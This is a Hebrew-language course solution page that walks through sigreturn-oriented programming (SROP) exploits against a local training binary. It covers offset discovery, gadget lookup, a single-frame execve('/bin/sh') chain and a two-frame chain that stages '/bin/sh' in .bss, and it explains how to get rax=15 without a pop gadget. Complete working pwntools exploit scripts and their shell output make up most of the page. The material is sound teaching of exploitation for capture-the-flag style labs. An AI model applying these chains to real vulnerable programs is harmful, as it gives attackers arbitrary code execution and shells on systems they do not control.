לדלג לתוכן

6.3 SROP פתרון

פתרון - SROP

נעבור על שני התרגילים ועל אתגר הבונוס, שלב-שלב, עם הפקודות האמיתיות והקוד המלא. ההנחות: הבינארי סטטי, no-PIE, ללא canary, NX פעיל. כל הכתובות בבינארי קבועות, ולכן לא נזדקק לשום leak.

פתרון תרגיל 1 - shell עם מסגרת אחת

שלב א: מציאת ה-offset. מריצים תחת gdb עם קלט cyclic ומסתכלים על כתובת הקריסה:

$ gdb -q ./vuln
pwndbg> run
# paste as input: cyclic(200) - e.g. via pwntools or python

בקצרה עם pwntools:

from pwn import *
context.binary = ELF('./vuln')
p = process()
p.sendline(cyclic(200))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8))
log.info('offset = %d', offset)   # for me: 40

יצא 40: הbuffer 32 בתים ועוד 8 בתים של saved rbp. אצלכם עשוי לצאת אחרת - תמדדו.

שלב ב: מציאת הגאדג'טים והמחרוזת.

$ ROPgadget --binary vuln | grep -E ': syscall ; ret|pop rax ; ret'
0x0000000000441ab6 : pop rax ; ret
0x000000000040137c : syscall ; ret
$ ROPgadget --binary vuln --string "/bin/sh"
0x00000000004c2f24 : /bin/sh

בקוד ניתן ל-pwntools למצוא את הכל לבד, כך שהסקריפט יעבוד גם אם הכתובות ישתנו בין גרסאות מהדר.

שלב ג: ה-exploit המלא.

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')

rop         = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret']).address
pop_rax     = rop.find_gadget(['pop rax', 'ret']).address
binsh       = next(elf.search(b'/bin/sh\x00'))
log.info('syscall=%#x  pop_rax=%#x  binsh=%#x', syscall_ret, pop_rax, binsh)

offset = 40

# fake frame: execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret            # execve doesn't return, so a bare syscall instruction is enough

payload  = b'A' * offset
payload += p64(pop_rax)            # step 1: load rax
payload += p64(15)                 # rax = 15 (rt_sigreturn)
payload += p64(syscall_ret)        # step 2: syscall -> sigreturn loads the frame
payload += bytes(frame)            # step 3: the frame sits exactly at rsp

p = process()
p.send(payload)
p.interactive()

מריצים:

[+] Starting local process './vuln': pid 4211
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) ...
$ cat flag

למה זה עבד / איך להכליל. ה-ret של vuln קפץ ל-pop rax ; ret שטען 15, משם ל-syscall שהפעיל rt_sigreturn, והkernel טען את כל האוגרים מהמסגרת שהנחנו מיד אחרי כתובת ה-syscall. אחרי השחזור היינו במצב rax=59, rdi=&"/bin/sh", rsi=0, rdx=0 וקפצנו ל-syscall - זה execve. לא נגענו בשום כתובת מחסנית, ולכן, כפי ששאלנו בתרגיל, ה-exploit עובד גם עם ASLR מלא: הדליקו echo 2 > /proc/sys/kernel/randomize_va_space והוא ימשיך לעבוד, כי כל הכתובות שהשתמשנו בהן שייכות לבינארי הקבוע (no-PIE), לא ל-libc או למחסנית.

פתרון תרגיל 2 - בלי /bin/sh, שרשור שתי מסגרות

כאן נניח שהמחרוזת אינה בבינארי, ונכתוב אותה בעצמנו ל-.bss. הרעיון: מסגרת ראשונה קוראת read שכותב "/bin/sh\0" ואת chain שלב שני ל-.bss, ואז חוזרת (דרך frame.rsp) לchain שלב שני שמריצה execve.

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')

rop         = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret']).address
pop_rax     = rop.find_gadget(['pop rax', 'ret']).address
bss         = elf.bss(0x300)       # fixed write address in .bss
log.info('syscall=%#x  pop_rax=%#x  bss=%#x', syscall_ret, pop_rax, bss)

offset      = 40
CHAIN_OFF   = 0x100                # offset of the stage-two chain within the block we write to bss

# ----- frame 1: read(0, bss, 0x400) -----
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_read    # 0
frame1.rdi = 0                     # stdin
frame1.rsi = bss                   # write target
frame1.rdx = 0x400                 # how much to read
frame1.rip = syscall_ret           # must be syscall ; ret to return after read
frame1.rsp = bss + CHAIN_OFF       # where the ret will jump: the stage-two chain

payload  = b'A' * offset
payload += p64(pop_rax)
payload += p64(15)                 # rax = 15
payload += p64(syscall_ret)        # sigreturn -> loads frame1
payload += bytes(frame1)

p = process()
p.send(payload)

# ----- frame 2: execve(bss, NULL, NULL) on the string we wrote -----
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve  # 59
frame2.rdi = bss                   # "/bin/sh" sits at the start of the block
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret

stage2 = p64(pop_rax) + p64(15) + p64(syscall_ret) + bytes(frame2)

# the block that gets read into bss: the string first, the stage-two chain at offset CHAIN_OFF
blob  = b'/bin/sh\x00'
blob  = blob.ljust(CHAIN_OFF, b'\x00')
blob += stage2

p.send(blob)
p.interactive()

מעקב אחרי הזרימה. המסגרת הראשונה מפעילה read(0, bss, 0x400). אנחנו שולחים את blob: בתחילתו "/bin/sh\0", ובהיסט 0x100 chain שלב שני. אחרי ש-read מסיים, ה-ret של syscall ; ret שולף מ-rsp (שקבענו ל-bss + 0x100) את pop rax, טוען 15, ממשיך ל-syscall שמריץ sigreturn נוסף - הפעם על frame2. frame2 מסדרת execve(bss, 0, 0), ו-bss מצביע בדיוק ל-"/bin/sh" שכתבנו. shell.

[*] Switching to interactive mode
$ ls
flag  vuln

למה זה עבד / איך להכליל. התובנה המרכזית: המסגרת שולטת גם ב-rsp, ולכן SROP הוא לא רק "קריאה אחת" אלא מנוע שרשור מלא. השתמשנו ב-.bss דווקא כי כתובתו קבועה (no-PIE), וכך chain שלב שני יושבת במקום ידוע ואיננו תלויים בשום כתובת מחסנית - שוב, עמיד ל-ASLR. את אותו דפוס אפשר להרחיב לכל רצף קריאות: open, read, write כדי לדלוף קובץ; mprotect כדי להפוך אזור לניתן-להרצה ואז לקפוץ ל-shellcode; וכן הלאה. כל קריאה היא עוד מסגרת בchain.

לגבי השאלה למחשבה: שלחנו קלט פעמיים. הפעם הראשונה היא הoverflow המקורית (הקריאה read שבתוך vuln), והשנייה היא הבלוק שהמסגרת הראשונה קוראת ל-.bss דרך ה-read שהיא עצמה הפעילה.

פתרון אתגר הבונוס - rax=15 בלי pop rax

כשאין pop rax ; ret, מנצלים את זה ש-read מחזירה ב-rax את מספר הבתים שנקראו. אם נבצע read שקורא בדיוק 15 בתים, נצא ממנו עם rax = 15, ואם מיד אחריו הזרימה תגיע ל-syscall - קיבלנו sigreturn.

הבעיה הקטנה: איך מסדרים read ראשוני שקורא בדיוק 15 בתים בלי SROP (כי בשביל SROP צריך כבר rax=15)? הנה הפתרון: ה-read המקורי שבתוך vuln כבר קורא לנו - נשלוט על מספר הבתים שנשלח. אחרי הoverflow, נבנה chain שקוראת שוב ל-read, אבל את מספר הבתים שהוא יקרא נקבע לפי כמה נשלח בשליחה הבאה.

בפועל, הchain הנקייה ביותר כאן משתמשת בגאדג'ט שמעביר לנו read נוסף שממנו נשלח בדיוק 15 בתים לפני שהזרימה מגיעה ל-syscall. במקרים אמיתיים לרוב יש pop rax, ולכן זה תרגיל מחשבתי - אבל התובנה חשובה: ערך החזרה של קריאת מערכת הוא דרך לגיטימית לקבוע את rax. אם מצאתם בבינארי רצף כמו syscall שאחריו זרימה נשלטת, שילוב עם read בן 15 בתים נותן sigreturn בלי אף גאדג'ט pop.

הכלל להכללה: כשאתם "עניים" בגאדג'טים, שאלו תמיד שתי שאלות - האם יש הוראת syscall, ואיזו דרך יש לקבוע את rax. אם התשובה לשתיהן חיובית, SROP פותח לכם את כל מרחב קריאות המערכת.